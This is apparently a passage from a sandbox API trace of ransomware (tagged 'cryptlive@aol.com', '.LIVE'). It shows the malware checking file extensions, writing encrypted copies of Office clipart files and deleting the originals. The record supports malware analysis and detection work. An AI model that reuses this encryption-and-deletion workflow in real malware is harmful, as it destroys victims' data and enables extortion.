lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.569] lstrlenW (lpString=".1cd") returned 4 [0149.569] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.569] lstrlenW (lpString=".jpg") returned 4 [0149.569] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.569] lstrlenW (lpString=".doc") returned 4 [0149.569] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.569] lstrlenW (lpString=".docx") returned 5 [0149.569] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0149.569] lstrlenW (lpString=".pdf") returned 4 [0149.569] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.569] lstrlenW (lpString=".xls") returned 4 [0149.569] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.569] lstrlenW (lpString=".xlsx") returned 5 [0149.569] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0149.569] lstrlenW (lpString=".ppt") returned 4 [0149.569] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.570] lstrlenW (lpString=".zip") returned 4 [0149.570] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.570] lstrlenW (lpString=".rar") returned 4 [0149.570] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.570] lstrlenW (lpString=".bz2") returned 4 [0149.570] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.570] lstrlenW (lpString=".7z") returned 3 [0149.570] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.570] lstrlenW (lpString=".dbf") returned 4 [0149.570] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.570] lstrlenW (lpString=".1cd") returned 4 [0149.570] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0149.570] lstrlenW (lpString=".jpg") returned 4 [0149.570] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.570] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.570] lstrlenW (lpString="J0099193.GIF") returned 12 [0149.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.571] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=35546) returned 1 [0149.571] CloseHandle (hObject=0x3a0) returned 1 [0149.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 0x20 [0149.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.571] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.571] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.572] GetLastError () returned 0x0 [0149.572] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8ada, lpOverlapped=0x0) returned 1 [0149.758] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x8ae0, lpOverlapped=0x0) returned 1 [0149.760] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.760] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.760] SetEndOfFile (hFile=0x39c) returned 1 [0149.844] CloseHandle (hObject=0x39c) returned 1 [0149.844] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.844] SetEndOfFile (hFile=0x3a0) returned 1 [0149.847] CloseHandle (hObject=0x3a0) returned 1 [0149.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0149.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.870] lstrlenW (lpString=".doc") returned 4 [0149.870] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.871] lstrlenW (lpString=".docx") returned 5 [0149.871] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0149.871] lstrlenW (lpString=".pdf") returned 4 [0149.871] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.871] lstrlenW (lpString=".xls") returned 4 [0149.871] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.871] lstrlenW (lpString=".xlsx") returned 5 [0149.871] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0149.871] lstrlenW (lpString=".ppt") returned 4 [0149.871] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.871] lstrlenW (lpString=".zip") returned 4 [0149.871] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.871] lstrlenW (lpString=".rar") returned 4 [0149.871] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.871] lstrlenW (lpString=".bz2") returned 4 [0149.871] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.871] lstrlenW (lpString=".7z") returned 3 [0149.871] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.871] lstrlenW (lpString=".dbf") returned 4 [0149.871] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.871] lstrlenW (lpString=".1cd") returned 4 [0149.871] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.871] lstrlenW (lpString=".jpg") returned 4 [0149.871] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.871] lstrlenW (lpString=".doc") returned 4 [0149.871] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.871] lstrlenW (lpString=".docx") returned 5 [0149.871] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0149.872] lstrlenW (lpString=".pdf") returned 4 [0149.872] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.872] lstrlenW (lpString=".xls") returned 4 [0149.872] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.872] lstrlenW (lpString=".xlsx") returned 5 [0149.872] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0149.872] lstrlenW (lpString=".ppt") returned 4 [0149.872] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.872] lstrlenW (lpString=".zip") returned 4 [0149.872] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.872] lstrlenW (lpString=".rar") returned 4 [0149.872] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.872] lstrlenW (lpString=".bz2") returned 4 [0149.872] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.872] lstrlenW (lpString=".7z") returned 3 [0149.872] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.872] lstrlenW (lpString=".dbf") returned 4 [0149.872] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.872] lstrlenW (lpString=".1cd") returned 4 [0149.872] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0149.872] lstrlenW (lpString=".jpg") returned 4 [0149.872] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.872] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.872] lstrlenW (lpString="J0099198.GIF") returned 12 [0149.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0149.873] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5259) returned 1 [0149.873] CloseHandle (hObject=0x1ec) returned 1 [0149.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20 [0149.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0149.873] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.874] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.874] GetLastError () returned 0x0 [0149.874] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x148b, lpOverlapped=0x0) returned 1 [0149.901] WriteFile (in: hFile=0x3b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0149.902] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.903] WriteFile (in: hFile=0x3b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.903] SetEndOfFile (hFile=0x3b0) returned 1 [0149.903] CloseHandle (hObject=0x3b0) returned 1 [0149.903] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.903] SetEndOfFile (hFile=0x1ec) returned 1 [0149.905] CloseHandle (hObject=0x1ec) returned 1 [0149.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0149.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.938] lstrlenW (lpString=".doc") returned 4 [0149.938] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.938] lstrlenW (lpString=".docx") returned 5 [0149.938] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0149.938] lstrlenW (lpString=".pdf") returned 4 [0149.938] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.938] lstrlenW (lpString=".xls") returned 4 [0149.938] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.938] lstrlenW (lpString=".xlsx") returned 5 [0149.938] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0149.938] lstrlenW (lpString=".ppt") returned 4 [0149.938] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.938] lstrlenW (lpString=".zip") returned 4 [0149.938] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.938] lstrlenW (lpString=".rar") returned 4 [0149.938] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.938] lstrlenW (lpString=".bz2") returned 4 [0149.938] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.938] lstrlenW (lpString=".7z") returned 3 [0149.938] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.938] lstrlenW (lpString=".dbf") returned 4 [0149.938] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.938] lstrlenW (lpString=".1cd") returned 4 [0149.938] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.939] lstrlenW (lpString=".jpg") returned 4 [0149.939] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.939] lstrlenW (lpString=".doc") returned 4 [0149.939] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.939] lstrlenW (lpString=".docx") returned 5 [0149.939] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0149.939] lstrlenW (lpString=".pdf") returned 4 [0149.939] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.939] lstrlenW (lpString=".xls") returned 4 [0149.939] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.939] lstrlenW (lpString=".xlsx") returned 5 [0149.939] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0149.939] lstrlenW (lpString=".ppt") returned 4 [0149.939] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.939] lstrlenW (lpString=".zip") returned 4 [0149.939] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.939] lstrlenW (lpString=".rar") returned 4 [0149.939] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.939] lstrlenW (lpString=".bz2") returned 4 [0149.939] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.939] lstrlenW (lpString=".7z") returned 3 [0149.939] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.939] lstrlenW (lpString=".dbf") returned 4 [0149.939] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.939] lstrlenW (lpString=".1cd") returned 4 [0149.939] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0149.939] lstrlenW (lpString=".jpg") returned 4 [0149.939] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.940] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.940] lstrlenW (lpString="J0099203.GIF") returned 12 [0149.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.940] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3904) returned 1 [0149.940] CloseHandle (hObject=0x3b0) returned 1 [0149.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20 [0149.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.941] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.941] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.941] GetLastError () returned 0x0 [0149.941] ReadFile (in: hFile=0x3b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xf40, lpOverlapped=0x0) returned 1 [0149.965] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xf50, lpOverlapped=0x0) returned 1 [0149.966] ReadFile (in: hFile=0x3b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.966] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.966] SetEndOfFile (hFile=0x380) returned 1 [0149.966] CloseHandle (hObject=0x380) returned 1 [0149.966] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.966] SetEndOfFile (hFile=0x3b0) returned 1 [0149.968] CloseHandle (hObject=0x3b0) returned 1 [0149.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0150.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString=".doc") returned 4 [0150.039] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.039] lstrlenW (lpString=".docx") returned 5 [0150.039] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0150.039] lstrlenW (lpString=".pdf") returned 4 [0150.039] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.039] lstrlenW (lpString=".xls") returned 4 [0150.039] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.039] lstrlenW (lpString=".xlsx") returned 5 [0150.039] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0150.039] lstrlenW (lpString=".ppt") returned 4 [0150.039] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString=".zip") returned 4 [0150.039] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.039] lstrlenW (lpString=".rar") returned 4 [0150.039] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.039] lstrlenW (lpString=".bz2") returned 4 [0150.039] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.039] lstrlenW (lpString=".7z") returned 3 [0150.039] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString=".dbf") returned 4 [0150.039] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString=".1cd") returned 4 [0150.039] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString=".jpg") returned 4 [0150.039] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.039] lstrlenW (lpString=".doc") returned 4 [0150.039] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 